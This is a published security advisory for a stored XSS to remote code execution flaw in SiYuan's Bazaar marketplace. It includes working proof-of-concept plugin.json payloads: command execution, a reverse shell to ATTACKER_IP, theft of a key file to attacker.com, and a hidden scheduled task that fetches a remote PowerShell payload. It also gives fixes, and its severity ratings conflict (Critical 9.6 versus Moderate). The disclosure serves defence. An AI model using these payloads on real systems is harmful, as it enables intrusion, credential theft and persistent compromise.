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SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata

Moderate severity GitHub Reviewed Published Mar 17, 2026 in siyuan-note/siyuan • Updated Mar 20, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

< 0.0.0-20260317012524-fe4523fff2c8

Patched versions

0.0.0-20260317012524-fe4523fff2c8

Description

Stored XSS to RCE via Unsanitized Bazaar Package Metadata

Summary

SiYuan's Bazaar (community marketplace) renders package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.

Affected Component

  • Metadata rendering: app/src/config/bazaar.ts:275-277
  • Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)

Affected Versions

  • SiYuan <= 3.5.9

Severity

Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

  • CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Vulnerable Code

In app/src/config/bazaar.ts:275-277, package metadata is injected directly into HTML templates without escaping:

// Package name injected directly — NO escaping
${item.preferredName}${item.preferredName !== item.name
    ? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}

// Package description — title attribute uses escapeAttr(), but text content does NOT
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
    ${item.preferredDesc || ""}  <!-- UNESCAPED HTML -->
</div>

The inconsistency is notable: the title attribute is escaped via escapeAttr(), but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.

The Electron renderer at app/electron/main.js:422-426 is configured with:

webPreferences: {
    nodeIntegration: true,
    contextIsolation: false,
    // ...
}

This means any JavaScript executing in the renderer process has direct access to Node.js APIs including require('child_process'), require('fs'), and require('os').

Proof of Concept

Step 1: Create a malicious plugin manifest

Create a GitHub repository with a valid SiYuan plugin structure. In plugin.json:

{
    "name": "helpful-productivity-plugin",
    "displayName": {
        "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
    },
    "description": {
        "default": "Boost your productivity with smart templates"
    },
    "version": "1.0.0",
    "author": "attacker",
    "url": "https://github.com/attacker/helpful-productivity-plugin",
    "minAppVersion": "2.0.0"
}

Step 2: Submit to Bazaar

Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).

Step 3: Zero-click RCE

When any SiYuan desktop user navigates to Settings > Bazaar > Plugins, the package listing renders the malicious displayName. The <img src=x> tag fails to load, firing the onerror handler, which calls require('child_process').exec('calc.exe').

No click is required. The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.

Escalation: Reverse shell

{
    "displayName": {
        "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">"
    }
}

Escalation: Data exfiltration (API token theft)

{
    "displayName": {
        "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
    }
}

Escalation: Silent persistence (Windows)

{
    "displayName": {
        "default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">"
    }
}

Attack Scenario

  1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
  2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.
  3. The plugin.json manifest contains an XSS payload in the displayName or description field.
  4. When any SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.
  5. The injected <img onerror> (or <svg onload>, <details ontoggle>, etc.) fires automatically.
  6. JavaScript executes in the Electron renderer with full Node.js access (nodeIntegration: true).
  7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.

The user does not need to install, click, or interact with the malicious package in any way. Browsing the marketplace is sufficient.

Impact

  • Full remote code execution on any SiYuan desktop user who browses the Bazaar
  • Zero-click — payload fires on page load, no interaction required
  • Supply-chain attack — targets the entire SiYuan user community via the official marketplace
  • Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files
  • Can install persistent backdoors, scheduled tasks, or ransomware
  • Affects all platforms: Windows, macOS, Linux

Suggested Fix

1. Escape all package metadata in template rendering (bazaar.ts)

function escapeHtml(str: string): string {
    return str.replace(/&/g, '&amp;').replace(/</g, '&lt;')
              .replace(/>/g, '&gt;').replace(/"/g, '&quot;')
              .replace(/'/g, '&#039;');
}

// Apply to ALL user-controlled metadata before rendering
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>

2. Server-side sanitization in the Bazaar index pipeline

Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:

func sanitizePackageDisplayStrings(pkg *Package) {
    if pkg == nil {
        return
    }
    for k, v := range pkg.DisplayName {
        pkg.DisplayName[k] = html.EscapeString(v)
    }
    for k, v := range pkg.Description {
        pkg.Description[k] = html.EscapeString(v)
    }
}

3. Long-term: Harden Electron configuration

webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}

References

@88250 88250 published to siyuan-note/siyuan Mar 17, 2026
Published to the GitHub Advisory Database Mar 18, 2026
Reviewed Mar 18, 2026
Published by the National Vulnerability Database Mar 20, 2026
Last updated Mar 20, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(42nd percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-33067

GHSA ID

GHSA-mvpm-v6q4-m2pf

Source code

Credits

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